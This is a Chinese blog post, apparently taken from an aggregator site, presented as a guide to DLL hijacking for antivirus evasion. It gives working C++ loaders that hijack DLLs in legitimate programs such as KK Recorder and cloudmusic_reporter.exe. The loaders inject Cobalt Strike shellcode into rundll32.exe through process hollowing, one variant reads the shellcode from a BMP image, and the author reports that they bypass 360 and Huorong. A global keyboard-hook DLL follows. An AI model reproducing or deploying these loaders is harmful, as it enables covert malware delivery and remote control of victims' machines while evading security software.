当前位置: 首页 > news >正文

浅谈dll劫持-白加黑免杀指南

前置知识

基础技能

  • c语言基本知识

  • win32 API 知识

  • 会在微软官网查询API

  • PE结构知识

原理

DLL劫持的原理主要就是windows下加载DLL的顺序。在加载DLL的时候,系统会依次从以下六个位置去查找所需要的DLL文件

  1. 程序所在目录

  2. 系统目录

  3. 16位系统目录

  4. Windows目录

  5. 当前目录

  6. PATH环境变量中的各个目录

dll加载

dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:WinExec("calc.exe", SW_NORMAL);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}
void msg() {MessageBox(0, L"Dll-1 load  succeed!", 0, 0);
}

framework.h

#pragma once#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);

a.c

#include <stdio.h>
#include <Windows.h>
typedef void(*msg)();int main()
{// 定义一个函数类DLLFUNCHMODULE hDll = LoadLibrary(L"Dll1.dll");if (hDll == NULL) {printf("1");return 0;}msg func = (msg)GetProcAddress(hDll, "msg");if (func != NULL) {//运行msg函数(*func)();}return 0;
}

dll寻找

Process Monitor

  • Include

Operation is CreateFile

Operation is LoadImage

Operation is QueryOpen

Path contains .dll

processname is kk.exe

Path begins with C:\test\KKcapture

  • Exclude

Result is SUCCESS

  • 过滤参考

Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
Path begins with C:\test\KKcaptureExclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys

windbg/procexp

均可一键导出加载的dll

打开待测exe文件
用Process Explorer查看待测exe打开调用的dll
ctrl+s保存文件,使用脚本文件处理,得到一个新的纯dll列表的文件
关闭待测软件,找到exe文件路径
打开chkDllhiJack,将待测exe文件路径以及dll列表填入相对应的位置,点击检测or运行
如果存在dll劫持漏洞,则输出框内出现对应的dll文件名;如果不存在,则提示no valid xxx;
复制payload.dll文件(打开计算器),改名为对应的dll文件名,放在exe文件同一路径下,双击exe文件,查看打开exe文件的同时是否开启了计算器。

DLL劫持-白加黑-导入加载

procexp/火绒剑 分析dll,选择一个dll文件来进行劫持,尽量找文件较小的dll文件

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
#include<iostream>
HANDLE My_hThread = NULL;
unsigned char shellcode[] = "";
//CS生成32位shellcode
DWORD  WINAPI  ceshi(LPVOID pParameter)
{__asm{mov eax, offset shellcodejmp eax}return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH://初次调用dll时执行下面代码My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}
extern"C" _declspec(dllexport) void test()
{int a;a = 0;
}

接下来利用Stud_PE来加载我们生成的dll,将修改后的libfontconfig-1.dll以及我们生产的dll文件都拖到kk录像机安装目录

image-20231123232637244.png

dll被杀烂了,尝试强加密绕过杀软

DLL劫持-白加黑-导出编译

cloudmusic_reporter.exe(并发现是32位程序)单独复制出来运行会产生报错缺少dll文件。将缺失的dll文件复制到相同文件夹后即可成功运行

使用Dependencies工具对krpt.dll进行反编译,导出krpt.dll源码
使用visual studio 创建一个新项目。项目名称右键——打开项目位置——将反编译的dll源码复制进去。
选中dll源码拖入项目,工具就会自动加载源码
打开asm文件,将所有的jmp语句删除
根据文件中的教程,选中文件——右键属性——修改——点击应用
项目名称——右键属性——c/c++——代码生成——运行库——多线程(/MT)
预编译头——不使用预编译头
链接器——调试——生成调试信息——否
在libcurl.c中添加一句#include "pch.h"

完整代码结构如下

framework.h

#pragma once#define WIN32_LEAN_AND_MEAN             // 从 Windows 头文件中排除极少使用的内容
// Windows 头文件
#include <windows.h>

libcurl.h

#ifndef libcurl_H
#define libcurl_H
//aheadlib plugin for csharp.by snikeguo,email:408260925@qq.com
//codegen time:2023-11-24 11:06:32:169
#include<Windows.h>
#include<Shlwapi.h>
extern PVOID pfnAL_curl_easy_cleanup;//curl_easy_cleanup
.......

pch.h

// pch.h: 这是预编译标头文件。
// 下方列出的文件仅编译一次,提高了将来生成的生成性能。
// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。
// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。
// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。#ifndef PCH_H
#define PCH_H// 添加要在此处预编译的标头
#include "framework.h"#endif //PCH_H

dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include "libcurl.h"
BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:MessageBox(0, L"Dll-1 load  succeed!", 0, 0);break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}
void msg() {MessageBox(0, L"Dll-1 load  succeed!", 0, 0);
}

libcurl.c

#include"libcurl.h"
#include "pch.h"
........

libcurl_jump.asm

.686P
.MODEL FLAT,C
.DATA
.......

pch.cpp

// pch.cpp: 与预编译标头对应的源文件#include "pch.h"// 当使用预编译的头时,需要使用此源文件,编译才能成功。

py脚本

处理dll格式

with open('a.txt','r',encoding="utf-8") as f:for i in f:print(i.split('	')[-1])

处理jmp

with open('a.txt','r',encoding="utf-8") as f:for i in f:if "jmp" not in i:print(i)

成功弹出计算器,换成上线代码dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include "libcurl.h"
BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:{unsigned char hexData[] = "";char* v7A = (char*)VirtualAlloc(0, _countof(hexData), 0x3000u, 0x40u);memcpy((void*)v7A, hexData, _countof(hexData));struct _PROCESS_INFORMATION ProcessInformation;struct _STARTUPINFOA StartupInfo;void* v24;CONTEXT Context;DWORD DwWrite = 0;memset(&StartupInfo, 0, sizeof(StartupInfo));StartupInfo.cb = 68;BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);if (result){Context.ContextFlags = 65539;GetThreadContext(ProcessInformation.hThread, &Context);v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, _countof(hexData), 0x1000u, 0x40u);WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, _countof(hexData), &DwWrite);Context.Eip = (DWORD)v24;SetThreadContext(ProcessInformation.hThread, &Context);ResumeThread(ProcessInformation.hThread);CloseHandle(ProcessInformation.hThread);result = CloseHandle(ProcessInformation.hProcess);}TerminateProcess(GetCurrentProcess(), 0);};case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

image-20231124233305653.png

成功过360,测试发现火绒也可绕过

DLL劫持-白加黑-图片分离

python2 dkmc.py
gen
set shellcode 这里是CS的shellcode
run

dllmain.cpp

#define _CRT_SECURE_NO_DEPRECATE 
#include "framework.h"
#include "windows.h"
#include "libcurl.h"
#include <stdlib.h>
#include <stdio.h>BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:{FILE* fp;  // 定义流式文件操作变量fp,FILE结构体在stdio.h里面有定义size_t size;  // 定义文件字节数变量sizeunsigned char* buffer;  // 定义缓存指针变量fp = fopen("output-1700840239.bmp", "rb");	//****修改为上方生成的图片****// fseek()负号前移,正号后移fseek(fp, 0, SEEK_END);          // 文件指针指向文件末尾// ftell()返回给定流 stream 的当前文件位置size = ftell(fp);                // size值为文件大小fseek(fp, 0, SEEK_SET);          // 文件指针指向文件开头buffer = (unsigned char*)malloc(size);    // 动态申请图片大小的内存空间(数组指针)fread(buffer, size, 1, fp);  // 从fp读取和显示1个size大小的数据char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u);memcpy((void*)v7A, buffer, size);struct _PROCESS_INFORMATION ProcessInformation;struct _STARTUPINFOA StartupInfo;void* v24;CONTEXT Context;DWORD DwWrite = 0;memset(&StartupInfo, 0, sizeof(StartupInfo));StartupInfo.cb = 68;BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);if (result){Context.ContextFlags = 65539;GetThreadContext(ProcessInformation.hThread, &Context);v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, size, 0x1000u, 0x40u);WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, size, &DwWrite);Context.Eip = (DWORD)v24;SetThreadContext(ProcessInformation.hThread, &Context);ResumeThread(ProcessInformation.hThread);CloseHandle(ProcessInformation.hThread);result = CloseHandle(ProcessInformation.hProcess);}TerminateProcess(GetCurrentProcess(), 0);};case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}

将exe,dll及图片放在一起再次运行,成功上线

hook+dll

原理

  • 当我们通过键盘输入,系统(OS)会把键盘输入这个事件发送到系统消息队列(OS message queue)

  • 随后系统会从这个消息队列里拿出这个事件,判断这个输入是在哪个程序发生的。

  • 发送到输入发生地程序的消息列表中(application message queue)

  • 目标程序把键盘输入的事件拿出,执行并显示

899080_4KTQC8TMPHP6CEQ.png

win api

HINSTANCE和HMODULE

HINSTANCE的本质是模块基地址,他仅仅在同一进程中才有意义,跨进程的HINSTANCE是没有意义
HMODULE 是代表应用程序载入的模块,win32系统下通常是被载入模块的线性地址。
HINSTANCE 在win32下与HMODULE是相同的东西(只有在16位windows上,二者有所不同).

SetWindowsHookExW

HHOOK SetWindowsHookExW([in] int       idHook,[in] HOOKPROC  lpfn,[in] HINSTANCE hmod,[in] DWORD     dwThreadId
);idHook 如键盘事件WH_KEYBOARD,安装监视击键消息的挂钩过程
HOOKPROC lpfn——钩子的处理函数,若设置的是键盘输入钩子,必须是微软定义的一个叫KeyboardProc的函数。
HINSTANCE hmod——模块句柄,因此一般设置钩子的地方在DLL中。
DWORD dwThreadId——需要设置钩子的线程ID,倘若为0则为全局钩子(所有程序都钩)。

KeyboardProc

LRESULT CALLBACK KeyboardProc(_In_ int    code,_In_ WPARAM wParam,_In_ LPARAM lParam
);code 如果小于零,挂钩过程必须将消息传递给 CallNextHookEx 函数,而无需进一步处理,并且应返回 CallNextHookEx 返回的值
wParam 生成击键消息的密钥的虚拟密钥代码。
lParam 31转换状态,如果按下键,则值为 0;如果释放键,则值为 1。
!(lParam & 0x80000000) 第三十二位的1和lParam的31位相与,按下键时判断为真

EXTERN_C,__declspec(dllexport)

#define EXTERN_C       extern "C"
__declspec(dllexport)关键字从 DLL 中导出数据、函数、类或类成员函数

GetLastError

返回值是调用线程的最后错误代码

UnhookWindowsHookEx

BOOL UnhookWindowsHookEx([in] HHOOK hhk
);
删除 SetWindowsHookEx 函数安装在挂钩链中的挂钩过程。
hhk 要移除的挂钩的句柄

DllMain

BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,_In_ DWORD     fdwReason,_In_ LPVOID    lpvReserved
);
hinstDLL DLL 模块的句柄,值是 DLL 的基址

GetModuleFileNameA

检索包含指定模块的文件的完全限定路径,模块必须已由当前进程加载
DWORD GetModuleFileNameA([in, optional] HMODULE hModule,[out]          LPSTR   lpFilename,[in]           DWORD   nSize
);
hModule 正在请求其路径的已加载模块的句柄.此参数为 NULL,则 GetModuleFileName 将检索当前进程的可执行文件的路径

strrchr

C 库函数 char *strrchr(const char *str, int c) 在参数 str 所指向的字符串中搜索最后一次出现字符 c(一个无符号字符)的位置。
如果找到字符,它将返回一个指向该字符的指针,否则返回 NULL

核心代码

dllmain.cpp

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <Windows.h>
#include <stdio.h>HINSTANCE g_hDll;
HHOOK g_hHook;BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:g_hDll = hModule;break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;
}LRESULT CALLBACK KeyboarProc(int nCode, WPARAM wParam, LPARAM lParam)
{char szPath[MAX_PATH];char* p = NULL;if (nCode >= 0){if (!(lParam & 0x80000000)){GetModuleFileNameA(NULL, szPath, MAX_PATH);p = strrchr(szPath, '\\');if (!_stricmp(p + 1, "notepad.exe"))//只对notepad进程拦截{return 1;}}}return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}EXTERN_C __declspec(dllexport) void HookStart()
{g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyboarProc, g_hDll, 0);DWORD errCode = GetLastError();printf("%d", errCode);
}EXTERN_C __declspec(dllexport) void HookStop()
{if (g_hHook){UnhookWindowsHookEx(g_hHook);g_hHook = NULL;}
}

inject.c

//hook.cpp
#include <Windows.h>
#include <conio.h>
#include <stdio.h>typedef void(*HOOKSTART)();
typedef void(*HOOKSTOP)();int main()
{HMODULE hDll = LoadLibrary(L"KeyHook.dll");if (!hDll){return 0;}HOOKSTART hookStart = (HOOKSTART)GetProcAddress(hDll, "HookStart");if (!hookStart){return 0;}HOOKSTOP hookStop = (HOOKSTOP)GetProcAddress(hDll, "HookStop");if (!hookStop){return 0;}hookStart();printf("press 'q' to quit\n");while (_getch() != 'q'){}hookStop();FreeLibrary(hDll);
}

效果展示

  • typora可以正常输入,但是输入时被加载KeyHook.dll

  • notepad无法输入,且按下键盘被加载KeyHook.dll

image-20231120235804996.png

注意事项

  • 电脑为64位,所以应该编译成64位运行,否则32位的DLL不能注入64位的程序就会整个窗口卡住。即按键事件分发不到具体的钩子处理函数,而事件已经被标志为已挂钩,必须找到处理函数。这就会产生事件无法得到处理,程序卡死的现象


http://www.mrgr.cn/news/52101.html

相关文章:

  • WebSocket
  • labelme标注的json转Yolo格式【ultralytics工具】
  • 在掌控板上搭建http服务器
  • 你的收入达到了缴纳个人所得税的标准了吗?
  • 怎么把音乐中的人声去掉?轻松搞定,音乐伴奏去人声攻略
  • 智能驾驶必备:MEB低速紧急制动功能如何保护你的车辆?
  • Fuzz工具对比及使用体验
  • DES加密初探-python实现
  • 未来哪些大学专业有可能会红灯?ChatGPT将会替代哪些岗位?还不会订阅chatgpt?可以看文末
  • 我也要!赚钱是分层的:这就是你又累又穷的原因——早读(逆天打工人爬取热门微信文章解读)
  • 《深度学习与图像处理(PaddlePaddle版)》写完这本书我解脱了
  • pyaudio出现Invalid number of channels的解决方法
  • 软件测试:快速了解其分类、方法、黑盒测试、白盒测试与灰盒测试
  • 【19楼-注册安全分析报告】
  • SpringBoot接收LocalDateTime参数
  • 白平衡之基于边缘检测的白平衡算法
  • ThreadLocal——简单使用
  • 箭头函数语法及书写规则。
  • AI产品经理:你更适合哪一种?
  • 泛微OA移动引擎中调用手机扫码后跳转另外页面(资产盘点)